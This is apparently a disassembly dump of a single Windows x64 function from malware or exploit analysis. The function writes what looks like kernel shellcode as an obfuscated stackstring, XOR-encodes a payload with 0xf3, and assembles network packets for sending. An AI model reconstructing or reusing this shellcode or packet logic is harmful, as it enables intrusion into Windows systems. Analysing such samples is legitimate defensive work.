Function at 0x140004700
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x348]
sub rsp, 0x420
mov ecx, 0x638
movaps xmmword [rax - 0x38], xmm6
add ecx, 0x100
mov rbx, 0xffffffffffffffff
mov rdi, r9
mov r13, r8
cmovb rcx, rbx
call fcn.140015300
mov rsi, rax
mov dword [rsp + 0x20], 0x36000003
mov dword [rsp + 0x24], 0x6480f002
mov dword [rsp + 0x28], 0xec030700
mov dword [rsp + 0x2c], 0xc808070
mov dword [rsp + 0x30], 0x3000000
mov dword [rsp + 0x34], 0x72000000
mov dword [rsp + 0x38], 0x1434344
mov dword [rsp + 0x3c], 0x2000c00
mov dword [rsp + 0x40], 0x40000000
mov dword [rsp + 0x44], 0xff857640
mov word [rsp + 0x48], 2
mov dword [rsp + 0x50], 0x8ee855
mov dword [rsp + 0x54], 0x82b90000
mov dword [rsp + 0x58], 0xfc00000
mov dword [rsp + 0x5c], 0xd8d4c32
mov dword [rsp + 0x60], 0x94
mov dword [rsp + 0x64], 0x74c13b41
mov dword [rsp + 0x68], 0x453919
mov dword [rsp + 0x6c], 0x55890a74
mov dword [rsp + 0x70], 0x458904
mov dword [rsp + 0x74], 0xf845c6
mov dword [rsp + 0x78], 0x5a509149
mov dword [rsp + 0x7c], 0x20eac148
mov dword [rbp - 0x80], 0x8b4c300f
mov dword [rbp - 0x7c], 0xc149007d
mov dword [rbp - 0x78], 0xc1490cef
mov dword [rbp - 0x74], 0x81490ce7
mov dword [rbp - 0x70], 0x1000ef
mov dword [rbp - 0x6c], 0x81416600
mov dword [rbp - 0x68], 0x755a4d3f
mov dword [rbp - 0x64], 0x7d894cf1
mov dword [rbp - 0x60], 0x45c65d08
mov dword [rbp - 0x5c], 0x45c78832
mov dword [rbp - 0x58], 0x88888850
mov dword [rbp - 0x54], 0x4d8d4800
mov dword [rbp - 0x50], 0x491cbf18
mov dword [rbp - 0x4c], 0xbde8f481
mov dword [rbp - 0x48], 0x33000001
mov dword [rbp - 0x44], 0xc48348c0
mov dword [rbp - 0x40], 0x9c8d4c08
mov dword [rbp - 0x3c], 0xb024
mov dword [rbp - 0x38], 0x49c03300
mov dword [rbp - 0x34], 0x49305b8b
mov dword [rbp - 0x30], 0x49406b8b
mov dword [rbp - 0x2c], 0x4948738b
mov dword [rbp - 0x28], 0x5f41e38b
mov dword [rbp - 0x24], 0x5d415e41
mov dword [rbp - 0x20], 0xc35f5c41
mov dword [rbp - 0x1c], 0x2d8d48
mov dword [rbp - 0x18], 0x48000010
mov dword [rbp - 0x14], 0x480cedc1
mov dword [rbp - 0x10], 0x480ce5c1
mov dword [rbp - 0xc], 0xc370ed83
mov dword [rbp - 8], 0x65f8010f
mov dword [rbp - 4], 0x25248948
mov dword [rbp], reloc.WS2_32.dll_recv
mov dword [rbp + 4], 0x248b4865
mov dword [rbp + 8], 0x1a825
mov dword [rbp + 0xc], 0x652b6a00
mov dword [rbp + 0x10], 0x102534ff
mov dword [rbp + 0x14], 0x50000000
mov dword [rbp + 0x18], 0xc5e85550
mov dword [rbp + 0x1c], 0x48ffffff
mov dword [rbp + 0x20], 0x4800458b
mov dword [rbp + 0x24], 0x481fc083
mov dword [rbp + 0x28], 0x10244489
mov dword [rbp + 0x2c], 0x50415251
mov dword [rbp + 0x30], 0x52415141
mov dword [rbp + 0x34], 0xc0335341
mov dword [rbp + 0x38], 0xff001b2
mov dword [rbp + 0x3c], 0x75f855b0
mov dword [rbp + 0x40], 0x82b914
mov dword [rbp + 0x44], 0x458bc000
mov dword [rbp + 0x48], 0x4558b00
mov dword [rbp + 0x4c], 0xe8fb300f
mov dword [rbp + 0x50], send
mov dword [rbp + 0x54], 0x415b41fa
mov dword [rbp + 0x58], 0x4159415a
mov dword [rbp + 0x5c], 0x5d595a58
mov dword [rbp + 0x60], 0x5741c358
mov dword [rbp + 0x64], 0x56575641
mov dword [rbp + 0x68], 0x8b4c5053
mov dword [rbp + 0x6c], 0xc149007d
mov dword [rbp + 0x70], 0xc1490cef
mov dword [rbp + 0x74], 0x81490ce7
mov dword [rbp + 0x78], 0x1000ef
mov dword [rbp + 0x7c], 0x81416600
mov dword [rbp + 0x80], 0x755a4d3f
mov dword [rbp + 0x84], 0x7d894cf1
mov dword [rbp + 0x88], 0x8b4c6508
mov dword [rbp + 0x8c], 0x1882534
mov dword [rbp + 0x90], 0x78bf0000
mov dword [rbp + 0x94], 0xe8dbf47c
mov dword [rbp + 0x98], 0xdc
mov dword [rbp + 0x9c], 0x3fbf9148
mov dword [rbp + 0xa0], 0xe877645f
mov dword [rbp + 0xa4], 0xd7
mov dword [rbp + 0xa8], 0x8b03408b
mov dword [rbp + 0xac], 0x508d48d8
mov dword [rbp + 0xb0], 0xc8d4c28
mov dword [rbp + 0xb4], 0x98b4d0a
mov dword [rbp + 0xb8], 0x49c18b49
mov dword [rbp + 0xbc], 0x3d48c62b
mov dword [rbp + 0xc0], 0x700
mov dword [rbp + 0xc4], 0x2b4def77
mov dword [rbp + 0xc8], 0x14e1bff1
mov dword [rbp + 0xcc], 0xace81701
mov dword [rbp + 0xd0], 0x8b000000
mov dword [rbp + 0xd4], 0xc7830378
mov dword [rbp + 0xd8], 0x348d4808
mov dword [rbp + 0xdc], 0xe5e80b
mov dword [rbp + 0xe0], 0x5a3d0000
mov dword [rbp + 0xe4], 0x74c1fa6a
mov dword [rbp + 0xe8], 0xc8b4809
mov dword [rbp + 0xec], 0xcf2b480f
mov dword [rbp + 0xf0], 0x48bfe7eb
mov dword [rbp + 0xf4], 0xe8b818b8
mov dword [rbp + 0xf8], 0x7c
mov dword [rbp + 0xfc], 0xf0458948
mov dword [rbp + 0x100], 0xa1c8d48
mov dword [rbp + 0x104], 0x85b8b48
mov dword [rbp + 0x108], 0x1e148d49
mov dword [rbp + 0x10c], 0xf84c3ebf
mov dword [rbp + 0x110], 0x69e8ce
mov dword [rbp + 0x114], 0x408b0000
mov dword [rbp + 0x118], 0x7c834803
mov dword [rbp + 0x11c], 0x7400f810
mov dword [rbp + 0x120], 0x4d8d48e3
mov dword [rbp + 0x124], 0xc0334d10
mov dword [rbp + 0x128], 0xa90d8d4c
mov dword [rbp + 0x12c], 0x55000000
mov dword [rbp + 0x130], 0x4155016a
mov dword [rbp + 0x134], 0xec834850
mov dword [rbp + 0x138], 0x5cc4bf20
mov dword [rbp + 0x13c], 0x35e86d19
mov dword [rbp + 0x140], 0x48000000
mov dword [rbp + 0x144], 0x4d104d8d
mov dword [rbp + 0x148], 0x34bfc933
mov dword [rbp + 0x14c], 0xe8afcc46
mov dword [rbp + 0x150], 0x24
mov dword [rbp + 0x154], 0x40c48348
mov dword [rbp + 0x158], 0xa874c085
mov dword [rbp + 0x15c], 0x20458b48
mov dword [rbp + 0x160], 0x11a7880
mov dword [rbp + 0x164], 0x89480974
mov dword [rbp + 0x168], 0x40894800
mov dword [rbp + 0x16c], 0x5895eb08
mov dword [rbp + 0x170], 0x415f5e5b
mov dword [rbp + 0x174], 0xc35f415e
mov dword [rbp + 0x178], 0x2e8
mov dword [rbp + 0x17c], 0x53e0ff00
mov dword [rbp + 0x180], 0x8b415651
mov dword [rbp + 0x184], 0x8b423c47
mov dword [rbp + 0x188], 0x883884
mov dword [rbp + 0x18c], 0x3490000
mov dword [rbp + 0x190], 0x488b50c7
mov dword [rbp + 0x194], 0x20588b18
mov dword [rbp + 0x198], 0xffdf0349
mov dword [rbp + 0x19c], 0x8b348bc9
mov dword [rbp + 0x1a0], 0xe8f70349
mov dword [rbp + 0x1a4], 0x1f
mov dword [rbp + 0x1a8], 0xef75c73b
mov dword [rbp + 0x1ac], 0x24588b58
mov dword [rbp + 0x1b0], 0x66df0349
mov dword [rbp + 0x1b4], 0x8b4b0c8b
mov dword [rbp + 0x1b8], 0x3491c58
mov dword [rbp + 0x1bc], 0x8b048bdf
mov dword [rbp + 0x1c0], 0x5ec70349
mov dword [rbp + 0x1c4], 0x52c35b59
mov dword [rbp + 0x1c8], 0xac99c033
mov dword [rbp + 0x1cc], 0x30dcac1
mov dword [rbp + 0x1d0], 0x75c085d0
mov dword [rbp + 0x1d4], 0xc35a92f6
mov dword [rbp + 0x1d8], 0x56575355
mov dword [rbp + 0x1dc], 0x8b495741
mov dword [rbp + 0x1e0], 0x7d8b4c28
mov dword [rbp + 0x1e4], 0x495e5208
mov dword [rbp + 0x1e8], 0xc033d98b
mov dword [rbp + 0x1ec], 0xc0220f44
mov dword [rbp + 0x1f0], 0x8b028948
mov dword [rbp + 0x1f4], 0xd1f748c8
mov dword [rbp + 0x1f8], 0xb0c08b4c
mov dword [rbp + 0x1fc], 0xe0c15040
mov dword [rbp + 0x200], 0x89495006
mov dword [rbp + 0x204], 0xec834801
mov dword [rbp + 0x208], 0x99eabf20
mov dword [rbp + 0x20c], 0x65e8576e
mov dword [rbp + 0x210], 0x48ffffff
mov dword [rbp + 0x214], 0x4830c483
mov dword [rbp + 0x218], 0x8d483e8b
mov dword [rbp + 0x21c], 0x3b35
mov dword [rbp + 0x220], 0x600b900
mov dword [rbp + 0x224], 0xa4f30000
mov dword [rbp + 0x228], 0xf0458b48
mov dword [rbp + 0x22c], 0x18408b48
mov dword [rbp + 0x230], 0x20408b48
mov dword [rbp + 0x234], 0x48308b48
mov dword [rbp + 0x238], 0x788b4cad
mov dword [rbp + 0x23c], 0x515ebf20
mov dword [rbp + 0x240], 0x38e8835e
mov dword [rbp + 0x244], 0x48ffffff
mov dword [rbp + 0x248], 0xc9330389
mov dword [rbp + 0x24c], 0xb1f84d88
mov dword [rbp + 0x250], 0x220f4401
mov dword [rbp + 0x254], 0x5e5f41c1
mov dword [rbp + 0x258], 0xc35d5b5f
mov dword [rbp + 0x25c], 0xc9339248
mov dword [rbp + 0x260], 0x8b4c5151
mov dword [rbp + 0x264], 0x58d4cc9
mov dword [rbp + 0x268], send
mov dword [rbp + 0x26c], 0x8348d18b
mov dword [rbp + 0x270], 0xd0ff20ec
mov dword [rbp + 0x274], 0x30c48348
mov dword [rbp + 0x278], 0x525150c3
mov dword [rbp + 0x27c], 0x55575653
mov dword [rbp + 0x280], 0x6a505854
mov dword [rbp + 0x284], 0xe85a60
mov dword [rbp + 0x288], 0x58000000
mov dword [rbp + 0x28c], 0x76358d48
mov dword [rbp + 0x290], 0x48000000
mov dword [rbp + 0x294], 0xfff13d8d
mov dword [rbp + 0x298], 0x2b48ffff
mov dword [rbp + 0x29c], 0xc8d48f7
mov dword [rbp + 0x2a0], 0xff485106
mov dword [rbp + 0x2a4], 0xc1ff48c9
mov word [rbp + 0x2a8], 0x3180
mov dword [rbp + 0x2ab], 0x75003980
mov dword [rbp + 0x2af], 0x2b4859f5
mov dword [rbp + 0x2b3], 0x8b4865e2
mov dword [rbp + 0x2b7], 0x768b4832
mov dword [rbp + 0x2bb], 0x768b4818
mov dword [rbp + 0x2bf], 0x48ad4810
mov dword [rbp + 0x2c3], 0x8b48308b
mov dword [rbp + 0x2c7], 0x5703307e
mov dword [rbp + 0x2cb], 0x3a5c8b3c
mov dword [rbp + 0x2cf], 0x3b748b28
mov dword [rbp + 0x2d3], 0xf7034820
mov dword [rbp + 0x2d7], 0x243b548b
mov dword [rbp + 0x2db], 0x3a2cb70f
mov dword [rbp + 0x2df], 0xad02528d
mov dword [rbp + 0x2e3], 0x57383c81
mov dword [rbp + 0x2e7], 0x75456e69
mov dword [rbp + 0x2eb], 0x3b748bef
mov dword [rbp + 0x2ef], 0xf703481c
mov dword [rbp + 0x2f3], 0x48ae348b
mov dword [rbp + 0x2f7], 0xff99fe03
mov dword [rbp + 0x2fb], 0xc48348d7
mov dword [rbp + 0x2ff], 0x5f5d5c60
mov dword [rbp + 0x303], 0x595a5b5e
mov word [rbp + 0x307], 0xc358
inc rbx
cmp byte [rdi + rbx], 0
jne 0x140005021
movdqa xmm6, xmmword [0x14002d840]
inc bx
movzx r12d, bx
mov ecx, r12d
mov byte [rbp + 0x2aa], 0xf3
call fcn.140015300
movzx r15d, bx
mov r14, rax
xor ebx, ebx
mov r8d, ebx
test r15d, r15d
je 0x1400050d5
cmp r15d, 0x20
jb 0x1400050ae
lea ecx, [r15 - 1]
add rax, rcx
add rcx, rdi
cmp r14, rcx
ja 0x140005073
cmp rax, rdi
jae 0x1400050ae
mov eax, r15d
mov edx, r15d
and eax, 0x1f
sub edx, eax
nop
mov eax, r8d
movdqu xmm0, xmmword [rax + rdi]
pxor xmm0, xmm6
movdqu xmmword [rax + r14], xmm0
lea eax, [r8 + 0x10]
add r8d, 0x20
movdqu xmm0, xmmword [rax + rdi]
pxor xmm0, xmm6
movdqu xmmword [rax + r14], xmm0
cmp r8d, edx
jb 0x140005080
cmp r8d, r15d
jae 0x1400050d5
mov ecx, r8d
sub rdi, r14
add rcx, r14
mov edx, r15d
sub edx, r8d
movzx eax, byte [rdi + rcx]
lea rcx, [rcx + 1]
xor al, 0xf3
mov byte [rcx - 1], al
sub rdx, 1
jne 0x1400050c2
movups xmm0, xmmword [rsp + 0x20]
movzx eax, word [rsp + 0x48]
lea rcx, [rsi + 0x2b]
movups xmm1, xmmword [rsp + 0x30]
mov edx, 0x90
movups xmmword [rsi], xmm0
movsd xmm0, qword [rsp + 0x40]
movups xmmword [rsi + 0x10], xmm1
movsd qword [rsi + 0x20], xmm0
mov word [rsi + 0x28], ax
mov eax, 0x26b
sub eax, r15d
mov byte [rsi + 0x2a], bl
movsxd r8, eax
call fcn.14000bb90
mov r9d, 0x2b
lea rdx, [rsp + 0x50]
sub r9d, r15d
lea eax, [r9 + 0x26b]
movsxd rcx, eax
mov eax, 7
add rcx, rsi
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140005140
mov rax, qword [rdx + 0x30]
mov r8, r12
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx + 0x20], xmm0
mov qword [rcx + 0x30], rax
movzx eax, byte [rdx + 0x38]
mov rdx, r14
mov byte [rcx + 0x38], al
lea eax, [r9 + 0x624]
movsxd rcx, eax
add rcx, rsi
call fcn.14000b280
mov edi, dword [rbp + 0x370]
mov word [rsi + 2], 0x4f06
mov word [rsi + 0xa], 0xec03
mov dword [rsi + 0xd], 0x6384086
mov word [rsi + 0x11], bx
mov qword [rsi + 0x23], r13
test edi, edi
je 0x14000521b
nop word [rax + rax]
mov r8d, ebx
lea rcx, [rsi + 7]
mov edx, 0x648
call fcn.140001eb0
test eax, eax
je 0x140005256
inc ebx
cmp ebx, edi
jb 0x140005200
mov rcx, rsi
call fcn.14000f890
mov rcx, r14
call fcn.14000f890
mov eax, 1
lea r11, [rsp + 0x420]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rcx, rsi
call fcn.14000f890
mov rcx, r14
call fcn.14000f890
xor eax, eax
jmp 0x140005230